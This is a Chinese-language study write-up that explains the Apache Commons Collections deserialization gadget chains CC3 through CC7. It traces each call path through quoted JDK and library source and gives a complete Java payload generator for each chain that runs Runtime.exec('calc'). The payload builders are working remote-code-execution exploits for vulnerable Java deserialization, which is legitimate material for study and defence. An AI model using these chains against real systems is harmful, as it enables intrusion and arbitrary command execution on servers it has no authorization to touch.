CommonsCollections反序列化链变种

剩下部分CC链并没有引用Java的新特性,后面几个几乎就是在排列组合了,对于这些没有太大构造难度的链我选择合并记录


CommonsCollections3反序列化链

该链使用了ChainedTransformer 的链式调用和LazyMap依赖的动态代理,复现的jdk版本需要低于1.8.0_71

CC3链同样利用了动态加载恶意类实现命令执行,与CC2链不同的点在于CC3加载恶意类载体templatesTmpl的位置在TrAXFilter类的构造器中,该方法调用了newTransformer()

public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

而实例化templatesTmpl的位点则使用了InstantiateTransformer类的transform()方法

public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var3) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

思路出来了,先获取TrAXFilter类的构造器,再把templatesTmpl传入作为参数,为了达成这一目的,需要使用ChainedTransformed的链式调用

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesTmpl})
};

后面则是LazyMap的路径了,如此整条链已经完成

public class CC3TrAXFilter {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass test = pool.makeClass("Test");
CtConstructor constructor = test.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
test.setSuperclass(superClass);
byte[] bytecode = test.toBytecode();

TemplatesImpl templatesImpl = new TemplatesImpl();
Class templatesClass = templatesImpl.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "any");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytecode});
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor Constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
Constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) Constructor.newInstance(Override.class,lazyMap);
Map<?,?> proxyMap =(Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler);
InvocationHandler annotationInvocationHandler2 = (InvocationHandler) Constructor.newInstance(Override.class,proxyMap);

serialize(annotationInvocationHandler2);
unserialize("cc3.ser");
}

public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cc3.ser")));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
objectInputStream.readObject();
}
}

CommonsCollections4反序列化链

CC4链与CC3同样使用TrAXFilter去触发newTransformer()方法,不同之处在于该链的起点是PriorityQueue,前半段与CC2大体相同,但是由于不直接使用invokerTransformer去调用newTransformer()queue[]数组内可以是任意值

PriorityQueue的构建

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
Class priorityQueueClass = priorityQueue.getClass();
Field queue = priorityQueueClass.getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue, new Object[]{"anything","anything"});
Field size = priorityQueueClass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue, 2);

与CC3的后半段结合就是完整的链了

public class CC4 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass test = pool.makeClass("Test");
CtConstructor constructor = test.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
test.setSuperclass(superClass);
byte[] bytecode = test.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Class clazz = templates.getClass();
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "any");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{bytecode});
Field tfactory = clazz.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
Class priorityQueueClass = priorityQueue.getClass();
Field queue = priorityQueueClass.getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue, new Object[]{"anything","anything"});
Field size = priorityQueueClass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue, 2);

serialize(priorityQueue);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cc3.ser")));
oos.writeObject(obj);
}

@Test
public void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("cc3.ser")));
ois.readObject();
}
}

CommonsCollections5反序列化链

CC5链的后半段与CC1类似,使用ChainedTransformerLazyMap,不同之处在于触发get()方法的上层是TiedMapEntry类的getValue()方法

public Object getValue() {
return this.map.get(this.key);
}

往上查找发现同类的toString()调用getValue()

public String toString() {
return this.getKey() + "=" + this.getValue();
}

该方法的上层是BadAttributeValueExpExceptionreadObject()

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

想办法让BadAttributeValueExpExceptionvalTiedMapEntry的对象就好了,在构造器中

public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

发现如果直接用构造器赋值,会直接在实例化阶段把val赋值为TiedMapEntry.toString()后的字符串,这会导致反序列化时进入readObject()的第一个else if而不是预期的第二个else if,故在构造时我们需要传入null,后面再通过反射直接把val赋值为TiedMapEntry对象

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class clazz = badAttributeValueExpException.getClass();
Field val = clazz.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

前面就是CC1的东西了,组合得到完整链

public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class clazz = badAttributeValueExpException.getClass();
Field val = clazz.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

serialize(badAttributeValueExpException);
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cc5.ser")));
oos.writeObject(obj);
}

@Test
public void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("cc5.ser")));
ois.readObject();
}
}

CommonsCollections6反序列化链

该链的后半段与CC5相同,不同在于触发tiedMapEntrygetValue()上层方法是hashCode()

public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

HashMap类的hash()方法有调用hashcode()

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

有个条件是key不为空,这个条件后面会用到。调用hashcode()就在HashMap类的readObject()

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

HashSetreadObject()中,可以对反序列化的map字段调用readObject()

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}

// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}

// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}

// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);

// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

使用HashSet自带的add()方法会持续调用后面的put()hash()方法,导致链在序列化前提前触发,这会污染我们构造的map对象,后面反序列化在get()时进入else语句,导致反序列化时无法正常执行命令。所以我们需要在创建tiedEntry时传入无害的HashMap,后面再通过反射修改tiedEntrymap字段为lazyMap,相当于让lazyMap绕过add()后面的方法

public boolean add(E e) {
return map.put(e, PRESENT)==null;
}

全链如下,该链相对较短

public class CC6 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap<>(),"any");

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
Class clazz = tiedMapEntry.getClass();
Field map = clazz.getDeclaredField("map");
map.setAccessible(true);
map.set(tiedMapEntry, lazyMap);

serialize(hashSet);
}

public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cc6.ser")));
oos.writeObject(object);
}

@Test
public void deserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("cc6.ser")));
ois.readObject();
}
}

CommonsCollections7反序列化链

该链后段与CC1类似,区别在于lazyMap的上层调用不同,这一次我们选择AbstractMap类中的equals()方法,该类

public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

equals()方法被Hashtable类的reconstitutionPut()方法调用

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

reconstitutionPut()方法被Hashtable类的readObject()调用

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}

那么方法链就很明显了readObject()->reconstitutionPut()->equals()->get()readObject()没有什么需要注意的地方,主要看reconstitutionPut(),要让key为构造的恶意lazyMap

该方法将readObject()遍历出的每一个键值对的key与已遍历出的key进行比对,当key不重复时则会将其加入table这个键值对数组中。因为要与先前的key比对才会调用equals(),若hashTable中只有一个元素就不会触发equals(),这决定了我们后面要往里面传入两个lazyMap

同时由于if语句里面是逻辑与运算,这还要求e.hash == hash必须为真才会进行后面的equals()运算,也就是当前遍历键值对的哈希与已有键值对的哈希相等,这里分别取yyzZ

由上可以构造出以下链

public class CC7 {
public static void main(String[] args) throws IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<?,?> hashMap1 = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
lazyMap1.put("yy",1);
HashMap<?,?> hashMap2 = new HashMap<>();
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);
lazyMap2.put("zZ",1);

Hashtable<Map<?,?>, Integer> hashtable = new Hashtable<>();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);

serialize(hashtable);
}

public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cc7.ser")));
oos.writeObject(object);
}

@Test
public void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("cc7.ser")));
ois.readObject();
}
}

尝试运行,并没有在反序列化时弹出计算器,调试中发现在使用put()hashTable传递lazyMap2时调用了equals()

public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}

// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}

注意这里equals()比较的是两个不一样的LazyMap

image-20260113115652321

lazyMap1没有重写equals(),调用的实际是父类AbstractMapDecoratorequals()

public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}

这里的this.map是在decorate()时传入的hashmap1,在decorate()

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

使用了构造器,而在构造器中

protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}

使用了父类的构造器,看父类构造器

public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
} else {
this.map = map;
}
}

传入了hashmap1,故lazyMapmap字段就是hashmap1,进入HashMap中的equals(),其实HashMap也没有重写equals(),用的是父类AbstractMap

public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

这里对hashMap1进行了迭代,并尝试与lazyMap2进行比较,所以对lazyMap2调用了get(),再步入

public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

调试显示keyyy,这显然不存在于super.map字段也就是hashmap2里的,所以进入了if代码块,又往hashMpa2调用了put(),表现为lazyMap2多了一个键为yy,值为一个ProcessImpl对象的键值对,但是在反序列化时要对lazyMap2lazyMap1进行长度比较,如果不匹配就会阻止后面的命令执行,所以在put()后还需要对多出来的键值对进行清除

全链如下

public class CC7 {
public static void main(String[] args) throws IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<?,?> hashMap1 = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
lazyMap1.put("yy",1);
HashMap<?,?> hashMap2 = new HashMap<>();
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);
lazyMap2.put("zZ",1);

Hashtable<Map<?,?>, Integer> hashtable = new Hashtable<>();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
lazyMap2.remove("yy");

serialize(hashtable);
}

public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cc7.ser")));
oos.writeObject(object);
}

@Test
public void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("cc7.ser")));
ois.readObject();
}
}

CC链就此就讲完了,完结撒花*★,°:.☆( ̄▽ ̄)/$:.°★*